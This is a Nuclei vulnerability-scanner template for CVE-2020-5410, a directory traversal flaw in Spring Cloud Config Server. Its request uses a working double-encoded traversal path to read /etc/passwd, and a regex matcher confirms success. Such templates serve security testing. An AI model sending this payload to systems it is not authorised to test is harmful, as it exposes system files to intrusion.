nuclei-templates/cves/2020/CVE-2020-5410.yaml

24 lines
926 B
YAML

id: CVE-2020-5410
info:
name: Directory Traversal in Spring Cloud Config Server
author: mavericknerd
severity: high
description: Spring Cloud Config, versions 2.2.x prior to 2.2.3, versions 2.1.x prior to 2.1.9, and older unsupported versions allow applications to serve arbitrary configuration files through the spring-cloud-config-server module. A malicious user, or attacker, can send a request using a specially crafted URL that can lead to a directory traversal attack.
reference: https://tanzu.vmware.com/security/cve-2020-5410
tags: cve,cve2020,lfi,springcloud
requests:
- method: GET
path:
- "{{BaseURL}}/..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252Fetc%252Fpasswd%23foo/development"
matchers-condition: and
matchers:
- type: status
status:
- 200
- type: regex
regex:
- "root:.*:0:0:"
part: body